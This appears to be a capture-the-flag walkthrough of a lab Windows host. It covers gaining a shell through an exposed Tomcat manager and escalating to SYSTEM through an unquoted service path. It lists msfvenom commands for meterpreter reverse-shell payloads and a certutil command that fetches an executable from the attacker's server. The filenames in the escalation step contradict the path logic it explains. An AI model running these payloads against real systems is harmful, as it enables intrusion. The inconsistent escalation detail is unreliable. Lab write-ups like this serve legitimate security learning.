Premise
In this walk-through, we demonstrated the exploitation of a vulnerable Tomcat Web-server to gain initial access to the remote host. We escalated our privileges by exploiting an unquoted service path in Windows.
Machine Name: Deployable
Difficulty: Beginner
Skills Learned
- Tomcat Exploitation
- Exploiting unquoted service path in Windows
- Windows Privilege Escalation
Initial Foothold: Hacking Tomcat Tomcat
My first step was to scan the machine to see what services were running. I found a few interesting things, including an Apache Tomcat server. I decided to start there.
I noticed that the Tomcat manager application was accessible, but it was protected by a login page. After a bit of poking around, I found a simple credential leak that gave me the username “tomcat” and the password “secret”. With these credentials, I was able to log right into the Tomcat manager.
Once I was in, my goal was to upload a malicious file to get a shell on the machine. I tried a couple of different approaches:
- The Manual Way: I created a special file called a JSP payload, which is basically a small web application that can run commands on the server. I then packaged this file into a WAR file (which is like a zip file for web applications) and uploaded it through the Tomcat manager. This gave me a basic shell, but I wanted something more powerful.
- The Metasploit Way: I also tried using a tool called Metasploit, which has a bunch of pre-built exploits. I found one specifically for uploading files to Tomcat, but I ran into some issues and decided to stick with my manual method for the initial access.
Getting Full Control: Unquoted Services
Now that I had a shell, I was running as the “tomcat” user, which had limited permissions. My next goal was to become the “SYSTEM” user, which is the most powerful user on a Windows machine. To do this, I used a technique called “unquoted service path” exploitation.
Here’s how it works: Sometimes, when a service is installed on Windows, the path to its executable file isn’t properly enclosed in quotes. This can be a security risk because of the way Windows searches for executable files.
For example, let’s say a service’s path is:
C:\Program Files\Deploy Ready\Service Files\deploy.exe
When the service starts, Windows will look for the executable in the following order:
C:\Program.exeC:\Program Files\Deploy.exeC:\Program Files\Deploy Ready\Service.exeC:\Program Files\Deploy Ready\Service Files\deploy.exe
If I could place a malicious file in one of these locations and name it appropriately, I could trick the service into running my code instead of the legitimate one.
I found a service on the machine that had an unquoted path and that I had permission to write to. I then created a malicious executable file using Metasploit and named it deploy.exe. I uploaded this file to the machine and placed it in the C:\Program Files\Deploy Ready directory.
Finally, I started the service. As I had planned, the service found my malicious deploy.exe file first and ran it, giving me a shell with full SYSTEM privileges! 🥳
Commands I Used
Here are some of the key commands I used during this process:
- Scanning for services:
nmap -v -sV -sC -Pn <IP> - Creating a malicious WAR file:
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4545 -f war > payload.war - Creating a malicious executable file:
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4546 -f exe > service.exe - Creating a JSP payload file:
sudo nano payload.jsp - Creating a WAR file from a JSP file:
sudo jar -cvf tomcat_shell.war payload.jsp - Starting a simple web server:
python3 -m http.server - Downloading a file to the target machine:
certutil.exe -urlcache -f http://10.10.0.7:8000/service.exe service.exe - Starting a Windows service:
sc start deploy
